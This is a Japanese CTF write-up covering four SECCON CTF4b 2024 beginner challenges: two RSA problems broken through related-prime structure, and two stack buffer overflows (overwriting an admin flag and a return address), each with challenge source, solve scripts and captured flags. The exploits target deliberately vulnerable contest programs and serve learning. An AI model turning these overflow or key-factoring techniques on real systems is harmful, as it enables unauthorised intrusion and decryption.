SECCON CTF4b 2024 writeup

CTF初参加。先輩方と一緒にチームを組んで挑みました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2144732/133867e5-3e15-bbe5-8389-69f40b4a417c.png)
0b1111111位。キリいい順位で満足。チームがといた8問(welcome除く)のうち自分がといた4問のwriteupやります。(自分が記憶失った後に来てもわかるくらい丁寧に書きます)

# 概要
## Challenge Log
<table class="min-w-full table-fixed divide-y divide-gray-200"><thead class="bg-gray-50"><tr><th scope="col" class="py-3 px-6 text-left text-xs font-medium uppercase tracking-wider text-gray-500">Challenge</th><th scope="col" class="py-3 px-6 text-left text-xs font-medium uppercase tracking-wider text-gray-500">Category</th><th scope="col" class="py-3 px-6 text-left text-xs font-medium uppercase tracking-wider text-gray-500">Rank</th><th scope="col" class="py-3 px-6 text-left text-xs font-medium uppercase tracking-wider text-gray-500">Date</th></tr></thead><tbody class="divide-y divide-gray-200 bg-white"><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">Welcome</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">welcome</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">35</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-15T05:00:54.06Z</td></tr><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">simpleoverflow</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">pwnable</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">429</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-15T08:47:10.935Z</td></tr><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">Safe Prime</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">crypto</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">188</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-15T09:57:11.385Z</td></tr><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">getRank</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">misc</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">218</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-15T13:10:07.101Z</td></tr><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">wooorker</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">web</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">124</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-15T16:29:44.037Z</td></tr><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">simpleoverwrite</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">pwnable</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">208</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-15T16:58:43.142Z</td></tr><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">wooorker2</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">web</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">73</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-15T22:58:51.181Z</td></tr><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">assemble</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">reversing</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">156</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-16T04:46:31.366Z</td></tr><tr><td class="whitespace-nowrap py-4 px-6 text-sm font-medium text-gray-900">math</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">crypto</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">119</td><td class="whitespace-nowrap py-4 px-6 text-sm text-gray-500">2024-06-16T04:50:13.953Z</td></tr></tbody></table>

## 実行環境
```shell-session
WSL 2 Ubuntu 23.10
python 3.11.6
pip 24.0

- gmpy2 2.1.5
- sympy 1.12.1
- pycryptodome 3.20.0
- pwntools 4.12.0
```
# writeup
## Safe Prime / crypto
### 問題概要
> Using a safe prime makes RSA secure, doesn't it?
```chall.py
import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")
```
RSA暗号の問題です。[安全素数](https://en.wikipedia.org/wiki/Safe_and_Sophie_Germain_primes)というやつを$p, q$に使っています。$q = 2p + 1$ですね。
与えられている情報: $N, e, C$
### 解法
$N = pq, q=2p+1$なので、
```math
\displaylines{
\begin{align}
N &= p(2p + 1)\\
N &= 2p^2 + p\\
0 &= 2p^2 + p - N\\
\end{align}
}
```
この式を$p$について解けば$p$が求まりそうです

:::note alert
最初$\phi(N) = N - 3p$という式で頑張ってましたが解けませんでした。
:::

### 攻撃スクリプト
```python:script.py
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2
import sympy

# 与えられた値
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
e = 65537
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

p = sympy.Symbol('p')
p = int(sympy.solve(2 * p ** 2 + p - n)[1]) # 正の数だけ取り出す
q = n // p

assert isPrime(p) and isPrime(q)
assert p != q
assert p * q == n
assert 2 * p + 1 == q

# RSA秘密鍵を生成し、復号
d = inverse(e, (p - 1) * (q - 1))
message = pow(c, d, n)
print(long_to_bytes(message))
```
```shell-session:実行結果
b'ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}'
```
## math / crypto
### 問題概要
> RSA暗号に用いられる変数に特徴的な条件があるようですね...?
```python:chal.py
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
```

Safe Primeと同じくRSA暗号の問題です。
素数$p, q$に関して
```math
\displaylines{
a=p-x\\
b=q-x\\
a\equiv0\mod r\\
b\equiv0\mod s
}
```
となっています($a, b, x$は平方数)。

与えられている情報: $N, e, C, ab, r, s$

### 解法
$a, b$がともに平方数なので、$ab$も平方数になります。素因数分解結果:
```math
ab = (3\times173\times199\times306606827773\times r\times s)^2
```
:::note
素因数分解には[factordb.com](http://www.factordb.com/)を用いました。
:::
ここから総当たりで$a,b$を求めます。
$a,b$が正しい組み合わせかどうかの判定には$x$が平方数であるという性質を利用します。$p = a+x, q=b+x$なので、
```math
\displaylines{
\begin{align}
N &= (a+x)(b+x)\\
N &= x^2+(a+b)x+ab\\
N &= (x+\frac{a+b}{2})^2-\frac{(a+b)^2}{4}+ab\\
N-ab+\frac{(a+b)^2}{4}&=(x+\frac{a+b}{2})^2\\
\sqrt{N-ab+\frac{(a+b)^2}{4}}&=x+\frac{a+b}{2}\\
x&=\sqrt{N-ab+\frac{(a+b)^2}{4}}-\frac{a+b}{2}
\end{align}
}
```
この式に$a, b$を当てはめて、$x$が平方数かどうかを確かめることで$a, b$の正誤判定をします。あとはここから$p = a + x, q = b + x$で$p, q$を求め、$C$を複合化すればフラグが出ます。
### 攻撃スクリプト
```python:script.py
import gmpy2
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import itertools
import math

# 与えられた値
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
factor_a = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
factor_b = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661


def get_x(a, b):
    x = gmpy2.isqrt(n - ab + ((a + b) ** 2) // 4) - (a + b) // 2
    return x

def find_a_b(factors):
    # 初期のa, b, xを計算
    a = factor_a ** 2
    b = ab // a
    x = get_x(a, b)

    if not gmpy2.is_square(x): # xが平方数ではなかったらaを総当たり
        for i in range(1, len(factors) + 1):
            for c in itertools.combinations(factors, i):
                a = (factor_a * math.prod(c)) ** 2 # aを計算
                b = ab // a # aからbを求める
                x = get_x(a, b)
                if gmpy2.is_square(get_x(a, b)): # xが平方数ならreturn
                    return a, b, x
        print('a, bが見つかりませんでした')
        return None, None, None

    return a, b, x

if __name__ == '__main__':
    # ab の素因数分解を行い、a と b の候補を見つける
    factors = [3, 173, 199, 306606827773]

    assert ab == (factor_a * factor_b * math.prod(factors)) ** 2

    # xが平方数となるようなa, bを求める
    a, b, x = find_a_b(factors)

    assert a * b == ab
    assert a % factor_a == 0
    assert b % factor_b == 0
    assert gmpy2.is_square(a)
    assert gmpy2.is_square(b)


    p = a + x
    q = b + x

    assert isPrime(p)
    assert isPrime(q)
    assert p != q
    assert p * q == n

    # RSA 秘密鍵を生成し、復号
    d = inverse(e, (p - 1) * (q - 1))
    message = pow(cipher, d, n)
    print(long_to_bytes(message))
```
```shell-session:実行結果
b'ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}'
```
### 別解(ズル)
実は$N$をfactordb.comに突っ込むと
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2144732/af48d9c1-3508-d385-ac2f-d1ed1d513c2a.png)
素因数分解できちゃいます。
あとは普通にRSA解けばFLAG出ます。
誰か登録した…？
## simpleoverflow / pwnable
### 問題概要
> Cでは、0がFalse、それ以外がTrueとして扱われます。
> `nc simpleoverflow.beginners.seccon.games 9000`
```src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}
```
タイトルの通り、バッファオーバーフローの問題です。
与えられている情報: 本番環境での実行ファイル(`./chall`)

### 解法
コードをザーッとみてみると、`read`で`buf`に最大`0x10`文字(10進数では16文字)を書き込めますが、`buf`の定義は最大`10`文字。6文字分差異があります(`0x10`と`10`が紛らわしいけど10進数表記に直すと16文字と10文字) 。ここでバッファオーバーフローが使えそうですね。
コードを見ると、変数`buf`を定義した後に変数`is_admin`を定義しているので、あふれたデータはここに入りそうです。問題の説明文にある通り、C言語では`0`を`False`,それ以外を`True`として扱います。バッファオーバーフローで`is_admin`に非ゼロの値を入れることで、`./flag.txt`の中身を見ることができます。

### 攻撃スクリプト
```script.py
from pwn import *

io = process('./chall')

io.recvuntil(b'name:')
io.sendline(b'A' * 11) # 適当な文字(A)を10文字以上入れる
io.recvline()
io.recvline()

print(io.recvline()) # フラグを表示
```
```shell-session:実行結果
[+] Starting local process './chall': pid 22134
b'ctf4b{0n_y0ur_m4rk}\n'
[*] Process './chall' stopped with exit code 0 (pid 22134)
```

## simpleoverwrite / pwnable
### 問題概要
> スタックとリターンアドレスを確認しましょう
> `nc simpleoverwrite.beginners.seccon.games 9001`

```src.c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}
```
タイトルや説明からわかる通り、リターンアドレスオーバーライトの問題です。
与えられている情報: 実行ファイル(`./chall`)

### 解法
コードを見ると、`buf`(最大10文字)に`read`で最大`0x20`文字入れられることがわかります。ここでオーバーフローできますね。`win`関数で`./flag.txt`を表示しているので、`main`関数のリターンアドレスに`win`関数のアドレスを指定すれば解けそうです。`win`関数のアドレスを確認してみましょう。
```shell-session:gdb ./chall
gdb-peda$ b win
Breakpoint 1 at 0x40118a
gdb-peda$
```
`win`関数は`0x40118a`にあるみたいです。
コードでは、
```c
printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
```
となっているので、`buf`の18バイト後がリターンアドレスを格納する場所だと推測できます。
適当な18文字を入れた後、`win`関数のアドレス`0x40118a`を入れればよさそうですね。

:::note
参考: https://qiita.com/trimscash/items/71f417f99508f8ca78f8
:::

:::note alert
`./chall`が本番環境の実行ファイルであることに気づかず、ずっと自分の環境でコンパイルしたやつ解析してました…
おかげで3時間潰れました…
:::


### 攻撃スクリプト
```script.py
from pwn import *

io = remote('simpleoverwrite.beginners.seccon.games', 9001)

win = 0x401186
win = p64(win)

attack_str = b'A' * 18 + win
io.recvuntil(b'input:')
io.sendline(attack_str)
io.recvline()
io.recvline()

print(io.recvline())
```
```shell-session:実行結果
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
b'ctf4b{B3l13v3_4g41n}\n'
[*] Closed connection to simpleoverwrite.beginners.seccon.games port 9001
```

# 感想
CTF初参加。わかんないことだらけでしたが、自分で試行錯誤しながら問題に取り組み、様々なトライを通して学びを深めることがすごくおもしろかったです。
他のCTFにも参加して、どんどん力付けていきたいなと思います。